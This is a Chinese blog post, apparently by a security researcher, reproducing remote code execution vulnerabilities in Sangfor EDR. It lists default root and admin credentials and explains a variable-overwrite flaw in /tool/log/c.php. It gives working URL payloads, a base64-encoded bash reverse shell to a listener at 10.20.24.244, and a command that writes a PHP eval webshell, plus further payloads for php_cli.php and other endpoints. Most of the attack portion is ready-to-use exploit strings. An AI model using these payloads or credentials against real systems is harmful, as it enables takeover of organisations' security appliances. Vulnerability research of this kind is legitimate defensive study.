今年 HW 深信服的 EDR 爆出了一些很低级的漏洞,也看到网上不少人再吐槽,国光也忍不住来分析复现看看。
基本配置信息
网上地下流传的深信服的 EDR ISO 文件实际上是 CentOS7 镜像,下面国光简单分享记录一下相关信息,然后面看到的朋友少走弯路。
首先 ISO 安装的话,不要使用快速安装,直接挂载即可,相关的账号密码为:
用户名
密码
root
edr@sangfor
安装完成默认是静态 IP,得配置一下 DHCP IP 即可:
vim /etc/sysconfig/network-scripts/ifcfg-eth0
主要修改下面部分
BOOTPROTO=dhcp
然后删掉 IPADDR、GATEWAY 和 NETMASK 等静态 IP 相关的设置,重启一下网络服务即可:
service network restart
查看 IP 地址,浏览器直接访问即可访问到前端登录界面:
初始默认的用户名和密码都为:admin
搭建好之后 直接开始复习之前网上爆出来的漏洞信息吧
/tool/log/c.php
首先$show_form 接受用户输入请求:
跟进这个函数,发现是经典的extract变量覆盖 ,参数值完全可控……漏洞:
所以最终可以构造如下 Payload:
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&path=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&row=id
https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&limit=id
这样执行命令不是很方便,可以选择 bash 反弹 shell 出来,或者直接上传一个 webshell,下面简单来尝试一下。
Bash 弹 Shell
首先本地开启 nc 监听端口:
➜ ~ ncat -lvp 2333
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
然后准备一个反弹 shell 命令:
bash -i >& /dev/tcp/10.20.24.244/2333 0>&1
Base64 编码为:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx
因为出现了+号,浏览器会进行 URL 解码,+会变成空格,所以我们得把 +首先进行 URL 编码一下,最后的 payload 就是如下格式:
https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4yMC4yNC4yNDQvMjMzMyAwPiYx"|base64 -d|bash
最后执行完即可成功 nc 上线,然后就可以执行任意命令了:
直接写入 Webshell
echo '' > shell.php
Base64 编码 & +编码:
ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA==
最终 payload 如下:
https://x.x.x.x/tool/log/c.php?strip_slashes=system&host=echo "ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOz8%2bJyA%2bIHNoZWxsLnBocA=="|base64 -d|bash
但是有毒的是,这个 webshell 执行起来并不是那么顺手,很多命令依然无法执行,而且 AntSword 也无法连接,哭了。
/tool/php_cli.php
这个文件的功能默认无法使用,因为一开始就会判断 enable_dc_tool文件是否存在,其中 ldb_ext_root()的路径位置为:
/ac/dc/ldb/
下面是详细的代码:
但是假设存在这个文件的时候,下面就会有一个类似于 /tool/log/c.php的中漏洞一样,也是存在代码执行的,不过比较鸡肋,没有利用价值:
执行效果如下:
所以最终可以构造如下 Payload:
https://xxx.xxx.xx.xx/tool/php_cli.php?code=system(id);
https://xxx.xxx.xx.xx/tool/php_cli.php?strip_slashes=system&code=id
/tool/ldb_cli.php
这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:
/tool/mdd_sql.php
这个文件存在的问题也和上面的 /tool/php_cli.php相似,如果存在/ac/dc/ldb/php/enable_dc_tool这个文件的时候,也是可以直接代码执行的,不过比较鸡肋,没有利用价值:
参考链接